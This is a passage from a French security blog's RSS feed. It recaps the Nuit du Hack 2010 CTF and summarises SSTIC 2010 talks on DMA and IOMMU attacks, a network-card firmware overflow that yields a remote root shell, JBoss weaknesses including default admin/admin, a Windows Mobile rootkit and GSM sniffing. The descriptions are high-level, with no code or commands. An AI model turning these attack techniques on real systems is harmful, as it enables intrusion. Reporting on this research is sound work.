<p>Je n&rsquo;ai quasiment pas suivi les ateliers qui se déroulaient en parallèle aux confs et au CTF ; j&rsquo;ai juste aperçu XavBox à son stand de puçage de console, NoCrash pour le lockpicking et Barbozor se préparant à tourner son premier épisode de la saison 3 de <a href="http://www.lagrottedubarbu.com/">la grotte du barbu</a> ayant pour thème le hacking de caddie&#8230;</p>
<p>Au final, les confs se terminent un peu après minuit (seulement une vingtaine de minutes de retard !), et laissent la place au challenge qui se déroule dans la cale.</p>
<p>Retrouvez toutes les slides sur <a href="http://www.nuitduhack.com/slides2010-fr-nuit-du-hack.htm">le site officiel de la NDH</a>.</p>
<h3>Capture The Flag</h3>
<p>Après avoir câblé toute la salle en une trentaine de minutes, les 12 équipes sont accueillies et s&rsquo;installent. Virtualabs présente rapidement l&rsquo;objectif du challenge. Comme l&rsquo;année dernière, il s&rsquo;agit de défendre ses serveurs (Windows et Linux) tout en attaquant ceux des autres équipes. Pour valider une faille, l&rsquo;équipe doit récupérer un hash et le soumettre, chaque épreuve ne pouvant être résolue qu&rsquo;une seule fois.</p>
<p>Les dénis de services sont autorisés, mais ne doivent pas cibler le serveur de monitoring. L&rsquo;accès à Internet est fourni mais ne doit pas être utilisé pour communiquer avec des personnes extérieures sous peine de pertes de points voire de disqualification. La grosse nouveauté cette année est la présence d&rsquo;un tableau de bord pour les équipes qui permet de suivre en temps réel l&rsquo;évolution des scores. Les équipes sont libres de corriger leurs failles, mais ne disposent pas d&rsquo;un accès root. En parallèle à cela, des épreuves communes sont lancées sur un serveur dédié.</p>
<p>Après quelques validations de la team Choucroute, les dénis de service deviennent rapidement (et malheureusement) la seule stratégie viable, du fait de la quantité importante de points perdue par l&rsquo;équipe victime. Cela engendre alors un nombre assez importants de problèmes : plus de réseau pour certaines équipes, épreuves non accessibles, déconnexions SSH intempestives&#8230; Comme si cela ne suffisait pas, des problèmes internent viennent s&rsquo;ajouter : problèmes au niveau du serveur de monitoring, crash de la base MySQL à cause d&rsquo;une erreur de débranchement de prise électrique, problèmes sur les permissions des fichiers dus à une mauvaise version des ghosts déployés, etc. Sans parler du challenge public qui est assailli par des dizaines de participants et dont le Wifi souffre atrocement. Les concepteurs du CTF ne savent plus ou donner de la tête et sont sans cesse en train de redémarrer les VMs, patcher des fichiers sur les serveurs équipes (quand ceux-ci sont accessibles), etc. Et la team WWFamous ne les aide pas, puisque ce sont eux qui lancent majoritairement tous ces DoS à grand coup de slowloris et variantes sur SSH&#8230;</p>
<p>A 6h45, les WWFamous sont déclarés vainqueurs, Beerware terminent 2ème et Kowalski 3ème. Les lots sont distribués : disques datalocker, place pour Hacker Halted à Miami, formations&#8230;</p>
<p>Le public quitte tranquillement la péniche, tandis que nous remballons tout le matériel en luttant contre la fatigue&#8230;</p>
<p>Au final, très peu d&rsquo;épreuves ont pu être exploitées avec succès pendant ce challenge. Pas mal d&rsquo;équipes nous ont demandé s&rsquo;il était possible de diffuser les épreuves en ligne ainsi que les solutions. C&rsquo;est désormais chose faite ! Rendez-vous sur <a href="http://wargame.nuitduhack.com/">wargame.nuitduhack.com</a> et préparez-vous à griller quelques neurones <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<h3>Bilan</h3>
<p>J&rsquo;ai croisé beaucoup de monde pendant cette soirée, mais je n&rsquo;ai malheureusement pas pu discuter avec tout le monde. En me basant sur les retours de ces personnes, je pense pouvoir affirmer que cette Nuit Du Hack 2010 était un véritable succès. Certes nous avons rencontré un certain nombre de problèmes qui en ont déçu certains, notamment le streaming qui n&rsquo;a pas pu se faire convenablement, ou les dysfonctionnement des challenges. Nul n&rsquo;est parfait ; chaque année nous faisons face à certains problèmes que nous tentons de résoudre l&rsquo;année suivante. On le voit clairement lorsque l&rsquo;on compare la NDH de cette année avec celle de 2007 par exemple&#8230; Cette année, un effort considérable a été porté sur l&rsquo;organisation du challenge, la communication avec les équipes, le respect du timing pour les conférences, le niveau sonore (qui, on le rappelle, était assez insupportable les années précédentes), etc. Je remercie toute l&rsquo;équipe pour avoir réussi à organiser un événement de cette ampleur, qui est à ma connaissance le plus grand de ce genre en France.</p>
<p>N&rsquo;hésitez pas à donner votre avis sur l&rsquo;événement, faites nous part de vos remarques et vos suggestions pour les années futures. Un topic/sondage va très certainement être ouvert sur les <a href="http://forums.thehackademy.net/">forums officiels</a>, alors comme on dit, lachez vos com&rsquo; !</p>
<p>Note : Ayant été assez occupé, je n&rsquo;ai pris que très peu de photos de l&rsquo;événement. Je les mettrai sans doute en ligne dans quelques jours. En attendant vous pouvez en trouver sur <a href="http://www.lestutosdenico.com/">Les Tutos de Nico</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-bilan/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>De retour du SSTIC 2010</title>
		<link>http://www.segmentationfault.fr/securite-informatique/sstic-2010/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/sstic-2010/#comments</comments>
		<pubDate>Sat, 12 Jun 2010 12:08:41 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Evénement]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[conférence]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=812</guid>
		<description><![CDATA[Me voici de retour de l&#8217;édition 2010 du SSTIC. C&#8217;était la première fois que j&#8217;allais à cette excellente conférence, réunissant pas moins de 450 personnes autour de différents thèmes centrés sur la sécurité des systèmes d&#8217;information. Au programme : 3 jours de conférences, des rump sessions, un social event, des geeks, des trolls, du code [...]]]></description>
			<content:encoded><![CDATA[<p>Me voici de retour de l&rsquo;édition 2010 du <a href="http://www.sstic.org/2010">SSTIC</a>. C&rsquo;était la première fois que j&rsquo;allais à cette excellente conférence, réunissant pas moins de 450 personnes autour de différents thèmes centrés sur la sécurité des systèmes d&rsquo;information. Au programme : 3 jours de conférences, des <em>rump sessions</em>, un <em>social event</em>, des geeks, des trolls, du code qui défile, bref une super ambiance. <a href="http://sid.rstack.org/blog/index.php">Plusieurs</a> <a href="http://www.n0secure.org/">personnes</a> ont déjà fait un compte rendu détaillé de chaque conf (qui plus est en temps réel, chapeau à eux !), aussi je ne détaillerai ici que celles que j&rsquo;ai trouvées les plus marquantes. Ce billet est pour le moment incomplet, il sera terminé très prochainement.<span id="more-812"></span></p>
<h3>Enjeux et défis pour le renseignement technique</h3>
<p>La première conférence est présentée par Bernard Barbier, directeur technique de la <a href="http://fr.wikipedia.org/wiki/Direction_g%C3%A9n%C3%A9rale_de_la_s%C3%A9curit%C3%A9_ext%C3%A9rieure">DGSE</a>. Il y présente les activités pratiquées par l&rsquo;agence à l&rsquo;extérieur du territoire français, principalement en matière de renseignement d&rsquo;origine technique, et rappelle les différents enjeux liés à la sécurité des systèmes d&rsquo;information, en particulier les moyens de communication  et la cryptographie. Quelques méthodes techniques d&rsquo;obtention de renseignement sont illustrées, tout en rappelant leur aspect souvent clandestin et les conséquences que cela peut avoir dans certains pays. On y apprend (ou pas) que la DGSE pratique l&rsquo;écoute téléphonique, analyse des photos satellite, utilise des super-calculateurs à des fins de cryptanalyse, et met en œuvre des techniques visant à fragiliser les méthodes de chiffrement lorsque celles-ci ne sont pas cassable en un temps raisonnable. Le tout étant présenté avec une transparence relative mais appréciable, du moins tant qu&rsquo;on ne demande pas de la taille des clés RSA que l&rsquo;agence est en mesure de casser <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . La conf se termine par un message clair : la DGSE recrute 100 personnes par an. Candidats, faites-vous connaître&#8230;</p>
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Keynote par Bernard Barbier, directeur technique de la DGSE" src="http://lh5.ggpht.com/_Rzr3MErwyvk/TBOUhP91uPI/AAAAAAAAFRE/rqeGABYqB3I/s640/IMG_8780.JPG" alt="Keynote par Bernard Barbier, directeur technique de la DGSE" width="448" height="336" /><p class="wp-caption-text">Keynote par Bernard Barbier, directeur technique de la DGSE</p></div>
<h3>CASTAFIOR : Détection automatique de tunnels illégitimes par analyse statistique</h3>
<p>Fabien Allard et Mathieu Morel (Thales) présentent un outil permettant de détecter l&rsquo;utilisation de différents protocoles encapsulés dans du HTTPS. Leur méthode est basée sur un apprentissage utilisant un ensemble d&rsquo;exemples traité en utilisant différentes méthodes de classification, les paramètres étant principalement la longueur des paquets et le temps entre chacun. Leurs expériences montrent que les meilleurs résultats sont obtenus en combinant <a href="http://en.wikipedia.org/wiki/Random_forest">Random Forest</a> et les <a href="http://fr.wikipedia.org/wiki/Mod%C3%A8le_de_Markov_cach%C3%A9">modèles de Markov cachés</a>. Au final, on obtient 96% de bonnes classifications, et aux alentours de 5%.</p>
<h3>virtdbg : un débogueur noyau utilisant la virtualisation matérielle</h3>
<p>Damien Aumaitre et Christophe Devine (<a href="http://esec.fr.sogeti.com/blog/index.php">SOGETI ESEC</a>) dévoilent un debugger au but simple mais ambitieux : pouvoir debugger un système Windows 7 64 bits sans activer le flag /DEBUG, ni désactiver <a href="http://en.wikipedia.org/wiki/Kernel_Patch_Protection">PatchGuard</a>. Deux problèmes : impossible de charger un driver non signé par la méthode classique, ni de patcher l&rsquo;<a href="http://en.wikipedia.org/wiki/Interrupt_descriptor_table#IDT">IDT</a> (PatchGuard l&rsquo;en empêche). Leur technique consiste à utiliser le <a href="http://fr.wikipedia.org/wiki/Acc%C3%A8s_direct_%C3%A0_la_m%C3%A9moire">DMA</a> afin d&rsquo;injecter leur driver comprenant leur hyperviseur. Pour ce faire, ils utilisent un FPGA connecté par PCMCIA sur la machine à debugger, et en USB sur le debugger. L&rsquo;hyperviseur utilise la virtualisation hardware basée sur la technologie <a href="http://en.wikipedia.org/wiki/X86_virtualization#Intel_Virtualization_Technology_for_x86_.28Intel_VT-x.29">Intel  VT-x</a> (à la <a href="http://bluepillproject.org/">BluePill</a>), et permet d&rsquo;intercepter les interruptions 1 et 3. L&rsquo;interface de leur debugger est codée en Python, et dialogue avec l&rsquo;hyperviseur en utilisant le protocole <a href="http://davis.lbl.gov/Manuals/GDB/gdb_31.html">GDB</a>. Le tout avec une démo qui marche, bravo à eux <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Démo de virtdbg par Damien Aumaitre et Christophe Devine" src="http://lh3.ggpht.com/_Rzr3MErwyvk/TBOUiLGfRkI/AAAAAAAAFRI/QCEJbZXqTpY/s640/IMG_8790.JPG" alt="Démo de virtdbg par Damien Aumaitre et Christophe Devine" width="448" height="336" /><p class="wp-caption-text">Démo de virtdbg par Damien Aumaitre et Christophe Devine</p></div>
<h3>Analyse de programme par traçage</h3>
<p>Pour Daniel Reynaud, Jean-Yves Marion et Wadie Guizani, l&rsquo;analyse statique de blob binaire c&rsquo;est bien, mais pas suffisant. Surtout dans le cas de binaires packés par couches. On propose donc un outil libre nommé <a href="http://code.google.com/p/tartetatintools/">TraceSurfer</a> basé sur <a href="http://www.pintool.org/">PIN</a>, permettant de suivre de déroulement d&rsquo;un programme en générant des traces, puis de les importer dans des outils comme <a href="http://www.hex-rays.com/idapro/">IDA Pro</a>. Le résultat est assez sexy ; on peut alors visualiser les instructions effectivement exécutées par le programme, et détecter les éventuelles protections anti-debugging comme les auto-modifications ou contrôles d&rsquo;intégrité. Il est possible de générer des graphes mettant en évidences les différentes couches d&rsquo;un binaire packé. Pour tester sa performance, l&rsquo;outil a été lancé sur un cluster dans le but de détecter des protections anti-VM de plusieurs milliers de malwares obtenus grâce à un honeypot. Les résultats sont assez intéressants, bien que je ne me souvienne plus des chiffres&#8230; À tester !</p>
<div class="wp-caption aligncenter" style="width: 458px"><img title="TraceSurfer en action dans IDA Pro" src="http://lh6.ggpht.com/_Rzr3MErwyvk/TBOUi5QLErI/AAAAAAAAFRQ/p73mEPYc5Mg/s640/IMG_8801.JPG" alt="TraceSurfer en action dans IDA Pro" width="448" height="336" /><p class="wp-caption-text">TraceSurfer en action dans IDA Pro</p></div>
<h3>Intéressez-vous au droit&#8230; avant que le droit ne s&rsquo;intéresse à vous.</h3>
<p>Éric Barbry nous livre un véritable <em>one man show</em> qui contraste fortement avec le caractère technique des conférences précédentes. La France possède toute une série de lois relative aux systèmes d&rsquo;informations, dont certaines difficilement applicables, et en pratique rarement appliquées en intégralité : Informatique et libertés, LSQ, LCEN, HADOPI, LOPPSI, etc. Et pourtant, «nul n&rsquo;est censé ignorer la loi»&#8230; L&rsquo;accent est porté sur la responsabilité, autour de questions concrètes telles que «Qui est le responsable si un employé télécharge illégalement du contenu ou parie en ligne sur des sites non autorisés depuis son bureau ?». Une très bonne intervention qui aura su capter l&rsquo;intérêt de l&rsquo;auditoire tout en traitant d&rsquo;un sujet souvent considéré comme barbant <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Les multiples casquettes du RSSI" src="http://lh6.ggpht.com/_Rzr3MErwyvk/TBOUjZ0h14I/AAAAAAAAFRU/e2cxD2MGMlE/s640/IMG_8802.JPG" alt="Les multiples casquettes du RSSI" width="448" height="336" /><p class="wp-caption-text">Les multiples casquettes du RSSI</p></div>
<h3>Résultats et solution du challenge</h3>
<p>Le lendemain matin, on présente les résultats du <a href="http://communaute.sstic.org/ChallengeSSTIC2010">challenge</a> de cette année, qui en a dérouté plus d&rsquo;un. Les solutions sont en ligne, je vous invite donc à les lire car je doute vraiment être le mieux placé pour les exposer ici&#8230; On a droit à un résumé par Arnaud Ébalard (EADS Innovation Works) dont la solution a été classée 1ère en terme de qualité. En vrac, on notera la récupération des .APK en utilisant les spécificités du format ZIP et un bruteforce sur les pages physiques, une couche crypto ressemblant à du Vigenère, une clé publique dont la seule composante utile était la sous-clé ElGamal, l&rsquo;utilisation de <a href="http://pari.math.u-bordeaux.fr/">PARI/GP</a> pour l&rsquo;attaquer, la décompilation des .DEX avec <a href="http://code.google.com/p/smali/">Baksmali</a>, du reversing de librairie .SO, des énigmes tordues, et un hash Shabal 256 mal utilisé. Un grand bravo à lui ainsi qu&rsquo;à tous ceux qui ont réussi le challenge !</p>
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Mentions spéciales pour le challenge du SSTIC 2010" src="http://lh5.ggpht.com/_Rzr3MErwyvk/TBOUjqE3rtI/AAAAAAAAFRY/oUtNwupLilw/s640/IMG_8806.JPG" alt="Mentions spéciales pour le challenge" width="448" height="336" /><p class="wp-caption-text">Mentions spéciales pour le challenge</p></div>
<h3>Analyse de l&rsquo;efficacité du service fourni par une IOMMU</h3>
<p>Par Éric Lacombe, Fernand Lone Sang, Vincent Nicomette et Yves Deswarte (LAAS/CNRS). Le but d&rsquo;une <a href="http://en.wikipedia.org/wiki/IOMMU">IOMMU</a> est de contrôler les accès à la mémoire par les différents périphériques d&rsquo;entrée/sortie, telle que la MMU vis-à-vis du CPU. Dans le cadre des attaques DMA, une IOMMU traduit les adresses virtuelles demandées par le périphériques en adresses physique en se basant sur deux critères principaux : le source-id identifiant le périphérique, et des tables de traductions internes. La conférence présente deux attaques visant chacun de ces critères : la reconfiguration des tables et le spoofing de source-id. La deuxième attaque est mise en œuvre en utilisant un pont PCI &#8211; PCI Express, fréquent surtout pour les machines anciennes. Un tel pont permet de connecter des devices PCI sur l&rsquo;interface PCI Express ; le problème étant que tous les devices PCI rattachés partagent alors le même source-id. Une démo faisant intervenir un iPod malveillant et une carte réseau connecté sur un tel pont montre comment il est possible de déclencher une attaque d&rsquo;ARP Cache Poisonning. Les paquets ARP étant injectés par l&rsquo;iPod dans les buffers de réception gérés par les drivers de la carte réseau, l&rsquo;attaquant n&rsquo;a plus besoin d&rsquo;envoyer de trames. On a ainsi droit à un hijacking en live d&rsquo;un épisode de The Big Bang Theory regardé en streaming <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3>Quelques éléments en matière de sécurité des cartes réseau</h3>
<p>Par Guillaume Valadon, Loic Duflot, Olivier Levillain et Yves-Alexis Perez (ANSSI). Cette excellente conférence revient sur l&rsquo;exploitation d&rsquo;une <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0104">vulnérabilité</a> des cartes réseau Broadcom, patchée depuis. On y apprend avec stupéfaction (du moins pour ma part !) qu&rsquo;une carte réseau est très loin d&rsquo;être un élément &laquo;&nbsp;simple&nbsp;&raquo;. En effet, celle-ci possède un firmware qu&rsquo;il est possible de flasher temporairement, qui gère certains protocoles de façon automatique et ce sans que le CPU en ait conscience ! Ainsi, ces carte réseau comportent leur propre pile IP et est même capable de gérer des messages SOAP&#8230; Le problème, c&rsquo;est que celles-ci sont parfois implémentées sans notion de sécurité. Ici en l&rsquo;occurrence, les auteurs mettent en évidence un buffer overflow touchant le champ &laquo;&nbsp;username&nbsp;&raquo; du protocole <a href="http://en.wikipedia.org/wiki/Alert_Standard_Format">ASF</a>,  utilisé pour le management et le monitoring. Pour être en mesure de l&rsquo;exploiter, ils ont du coder un debugger de carte réseau, en utilisant le fait que les registres de la carte sont mappés en mémoire, et que celle-ci possède des options de debug (mode single-step, breakpoint&#8230;). En live, ils exploitent la vulnérabilité et montrent comment déclencher un remote root shell en envoyant un message ICMP. Vraiment bluffant&#8230;</p>
<p style="text-align: left;">
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Exploitation de buffer overflow dans le firmware d'une carte réseau" src="http://lh5.ggpht.com/_Rzr3MErwyvk/TBOUmMplNsI/AAAAAAAAFRo/XmpPSp3IucQ/s640/IMG_8820.JPG" alt="Exploitation de buffer overflow dans le firmware d'une carte réseau" width="448" height="336" /><p class="wp-caption-text">Exploitation de buffer overflow dans le firmware d&#39;une carte réseau</p></div>
<h3>Applications Facebook : Quels Risques pour l&rsquo;Entreprise ?</h3>
<p>Alban Ondrejeck, Francois-Xavier Bru et Guillaume Fahrner montrent les résultats d&rsquo;une expérience intéressante visant à mettre à l&rsquo;épreuve le (non) contrôle des applications Facebook. Sous le couvert d&rsquo;une application &laquo;&nbsp;Who crashed you?&nbsp;&raquo; codée maison et a priori &laquo;&nbsp;utile&nbsp;&raquo;, ils récoltent des informations personnelles sur les utilisateurs l&rsquo;ayant installé, et exploitent le caractère viral du réseau social. En créant une vingtaine de profils fictifs et en ajoutant divers personnes comme amies, ils parviennent très rapidement à répandre l&rsquo;application et à collecter des informations sur tous leurs utilisateurs (dommage, je n&rsquo;ai pas noté les chiffres). Cela montre une absence de contrôle concernant les permissions de telles applis.</p>
<h3>Projet OpenBSC</h3>
<p>Harald Welte part d&rsquo;un constat simple : les protocoles GSM et 3G sont documentés publiquement, mais les études de sécurité à ce sujet sont très peu nombreuses, du fait que l&rsquo;industrie de la téléphonie est un monde très fermé (coût très élevé du hardware, notamment). Et pourtant, ces protocoles sont beaucoup plus répandus que ce que l&rsquo;on pourrait croire. Comme le dit si bien l&rsquo;orateur, «GSM is more than phone calls» : ce protocole est utilisé non seulement par les téléphones, mais aussi par certaines voitures, trains, systèmes d&rsquo;alarmes, distributeurs, etc. Après avoir exposé rapidement l&rsquo;architecture d&rsquo;un réseau GSM, l&rsquo;auteur introduit le projet <a href="http://openbsc.osmocom.org/trac/">OpenBSC</a>, qui vise à fournir les éléments nécessaires à la réalisation de son propre réseau GSM. Une sorte d&rsquo;Asterisk pour le GSM, en gros&#8230; Les différents problèmes de sécurité du GSM sont rapidement abordés : pas d&rsquo;authentification entre le téléphone et le réseau, chiffrement faible, optionnel et non explicite (rien ne permet à un utilisateur de savoir si ses communications sont véritablement chiffrées), dénis de service possibles, géolocalisation&#8230; N&rsquo;ayant jamais étudié ces protocoles, je suis loin d&rsquo;avoir tout saisis, mais la conférence était très intéressante et incite à en savoir plus.</p>
<p style="text-align: center;">
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Architecture d'un réseau GSM" src="http://lh4.ggpht.com/_Rzr3MErwyvk/TBOUn2WB6GI/AAAAAAAAFR0/aE1cbJAa3Wk/s640/IMG_8833.JPG" alt="Architecture d'un réseau GSM" width="448" height="336" /><p class="wp-caption-text">Architecture d&#39;un réseau GSM</p></div>
<h3>Rumps sessions</h3>
<p>Pour les néophytes du SSTIC, les <em>rumps sessions</em> sont des mini exposés de 4 ou 5 minutes présentables par n&rsquo;importe qui et sur n&rsquo;importe quel sujet, lié de près ou de loin à la sécurité. Je n&rsquo;ai pas tout noté (pas comme <a href="http://sid.rstack.org/blog/index.php/411-en-direct-du-sstic-le-retour">Sid</a>), donc voici en vrac quelques une d&rsquo;entre elles :</p>
<ul>
<li><em>Kesske SSTIC</em>, qui dévoile pas mal de chiffres sur l&rsquo;édition 2010 du SSTIC. Pour ne citer que le minimum : 450 places écoulées en 25 heures, près de 2/3 du budget passe dans la bouffe (social event et resto universitaire), et un taux d&rsquo;acceptation de 60% pour les soumissions de papier.</li>
<li><em>Timing attack sur machine à café</em>, ou comment exploiter une vulnérabilité de machine à café pour gagner de la fidélité sur sa carte, et donc des café gratuits. Le principe est simple : retirer la carte après que la machine ait incrémenté la fidélité, et avant le débit <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li><em><a href="http://www.netglub.org/">Netglub</a></em>, où on a le droit à une super démo d&rsquo;un outil Maltego-like en C++/Qt et &laquo;&nbsp;vraiment OpenSource&nbsp;&raquo; permettant de faire de la recherche d&rsquo;information. Vraiment sympa, j&rsquo;ai hâte que ça sorte.</li>
<li>Deux projets qui vont bientôt sortir : le moteur de recherche de vulnérabilités QSWX et son spider Bubulle, et SecurityGarden, une sorte de PaketStorm en mieux.</li>
<li><em><a href="http://www.decalage.info/exefilter">ExeFilter</a> contre les méchants PDF</em> : outil de nettoyage de fichiers, utilisable pour désactiver les contenus malveillants dans un PDF et accessoirement se protéger des 0-days potentiels.</li>
<li><em><a href="http://boss.gipsa-lab.grenoble-inp.fr/Warming/">BOSS</a> : Break Our Steganography System</em>, un challenge de stégano débutant à la fin du mois.</li>
<li><em>Scapytain</em> : Philipe Biondi expose de façon inédite un outil de gestion de campagne de tests basé sur <a href="http://www.secdev.org/projects/scapy/">Scapy</a>.</li>
</ul>
<p style="text-align: center;">
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Présentation de Scapytain sous GIMP" src="http://lh5.ggpht.com/_Rzr3MErwyvk/TBOUoSRcf1I/AAAAAAAAFR4/gMaPQEygi1o/s640/IMG_8836.JPG" alt="Présentation de Scapytain sous GIMP" width="448" height="336" /><p class="wp-caption-text">Présentation de Scapytain sous GIMP</p></div>
<h3>JBOSS AS: Exploitation et sécurisation</h3>
<p>Renaud Dubourguais (HSC) présente un état de l&rsquo;art des vulnérabilités touchant le middleware JBOSS AS, démos à l&rsquo;appui. Dès le début, c&rsquo;est très clair : il n&rsquo;y a pas de mécanismes de sécurité par défaut. Autrement dit, il y a de quoi faire&#8230; Console d&rsquo;administration JMX accessible sans authentification (ou avec admin/admin), déploiement de backdoor sous forme d&rsquo;application SAR, utilisation du protocole RMI, accès à la web console&#8230; Des mécanismes de sécurité existent (JBOSS SX, sandboxing) mais sont rarement implémentés en pratique. Une conférence très intéressante qui donne envie d&rsquo;auditer du JBOSS&#8230;</p>
<h3>Audit d&rsquo;applications .NET complexes</h3>
<p>Nicolas Ruff (EADS) dresse un état de l&rsquo;art des techniques de reversing de code .NET permettant d&rsquo;auditer les applications Microsoft. Une fois compilé, le bytecode .NET conserve la sémantique du code source, et il est possible de le décompiler avec des softs adaptés comme l&rsquo;excellent <a href="http://www.red-gate.com/products/reflector/">Reflector</a>, et d&rsquo;utiliser l&rsquo;API de reflexion pour récupérer de nombreuses informations. La compilation de ce bytecode en langage machine peut se réaliser à la volée (Just In Time) ou bien sous forme de DLL dans le Global Assembly Cache, que l&rsquo;on peut également analyser avec des outils comme IDA. J&rsquo;y apprend également que Windbg supporte le debugging d&rsquo;applications .NET avec l&rsquo;extension <a href="http://msdn.microsoft.com/en-us/library/bb190764.aspx">SOS</a> accessible par la commande <code>.loadby sos mscorwks</code>. Démonstration pratique avec Songsmith, et hop.</p>
<h3>PoC(k)ET, les détails d&rsquo;un rootkit pour Windows Mobile 6</h3>
<p>Cédric Halbronn expose les spécificités de l&rsquo;implémentation d&rsquo;un rootkit pour smartphone Windows Mobile 6. Ce genre de plateforme impose certaines contraintes, principalement la quantité de mémoire et la consommation de la batterie. Cependant comme le dit si bien l&rsquo;auteur, le modèle de sécurité de Windows Mobile est très permissif. Les applications doivent être signées pour pouvoir s&rsquo;installer&#8230; mais cette restriction est implémentée par le simple affichage d&rsquo;un message d&rsquo;avertissement. D&rsquo;autre part, il est possible d&rsquo;installer facilement un certificat dans le magasin de certificats privilégiés du téléphone, qui est invisible et inaccessible pour l&rsquo;utilisateur. Il est alors facile de mettre en place un système de download &amp; execute furtif. En outre, le passage en mode noyau se fait on ne peut plus simplement, grâce à l&rsquo;appel à l&rsquo;API SetKMode() ! Il devient alors possible de hooker le driver baseband gérant les commandes AT, la saisie du code PIN (qui transite en clair entre le baseband et le CPU), les SMS&#8230; L&rsquo;injection de DLL est aussi possible, donc camoufler des fichiers peut se faire de la façon habituelle avec un hook des API FindFirstFile() etc. Le rootkit exposé ici est injecté par WAP Push, est contrôlable par une interface graphique, et n&rsquo;est pas détecté par les anti-virus, qui d&rsquo;après l&rsquo;auteur «ne détectent qu&rsquo;entre 5 et 10 virus»&#8230; Une question est posée : «Comment se protège-t-on alors ?». La réponse est claire : «On ne prend pas Windows Mobile» <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p style="text-align: center;">
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Interface d'admin d'un rootkit Windows Mobile" src="http://lh4.ggpht.com/_Rzr3MErwyvk/TBOUpXCnUoI/AAAAAAAAFSA/gPzw4GpZWlU/s640/IMG_8842.JPG" alt="Interface d'admin du rootkit" width="448" height="336" /><p class="wp-caption-text">Interface d&#39;admin du rootkit</p></div>
<h3>Projet OsmocomBB</h3>
<p>Harald Welte nous parle maintenant du projet OsmocomBB, visant cette fois-ci à fournir un baseband OpenSource pour téléphone mobile. J&rsquo;ai été un peu largué, mais la démo super visuelle et intéressante a retenue mon attention. Il s&rsquo;agissait de sniffer les communications GSM avec un mobile Motorola (coutant aux alentours de 15€) connecté à un laptop, puis et de les rendre affichables dans Wireshark (sans les déchiffrer). Le tout dans un amphi plongé dans le noir et illuminé par le code défilant à l&rsquo;écran&#8230; Comme le disaient certains, «Le SSTIC revient aux sources» !</p>
<p style="text-align: left;">
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Wieshark sniffant du GSM" src="http://lh5.ggpht.com/_Rzr3MErwyvk/TBOUqbE8e8I/AAAAAAAAFSE/enTQJI5gTbs/s640/IMG_8848.JPG" alt="Wieshark sniffant du GSM" width="448" height="336" /><p class="wp-caption-text">Wieshark sniffant du GSM</p></div>
<h3 style="text-align: left;">Conclusion</h3>
<p style="text-align: left;">Comme je le disais en intro, j&rsquo;ai volontairement omis quelques conférences (notamment celle de clôture), principalement car car la mémoire me fait défaut, ou bien parce que j&rsquo;estime que des bien meilleurs résumés ont été fait avant moi&#8230;</p>
<p style="text-align: left;">Globalement les conférences étaient d&rsquo;excellente qualité. Mes coups de cœur restent les interventions techniques, (virtdbg, l&rsquo;IOMMU, la sécurité des cartes réseau, JBOSS, le reversing d&rsquo;applis .NET, PoC(k)ET, GSM&#8230;) même si les autres ne manquaient pas de qualité. Concernant la conférence sur OPA que je n&rsquo;ai pas mentionnée ici, je suis assez d&rsquo;accord avec ce qu&rsquo;a exposé Sid sur son <a href="http://sid.rstack.org/blog/index.php/412-en-direct-du-sstic-la-revanche">blog</a>. Son contenu aurait pu être beaucoup plus intéressant, dommage qu&rsquo;elle visait le mauvais public&#8230;</p>
<p style="text-align: left;">En tout cas, chapeau aux comités d&rsquo;organisation et de programme ! J&rsquo;espère pouvoir revenir l&rsquo;année prochaine. En attendant, rendez-vous à la <a href="http://www.nuitduhack.com/">Nuit Du Hack</a> le week-end prochain <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p style="text-align: left;">Mes photos sont disponibles sur ma <a href="http://picasaweb.google.com/emilien.girault/SSTIC2010#">galerie Picasa</a>.</p>
<p style="text-align: left;">
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/sstic-2010/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Résumé partiel des DC18 CTF Quals</title>
		<link>http://www.segmentationfault.fr/securite-informatique/resume-dc18-ctf-quals/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/resume-dc18-ctf-quals/#comments</comments>
		<pubDate>Mon, 24 May 2010 19:29:25 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[challenge]]></category>
		<category><![CDATA[Cryptographie]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=796</guid>
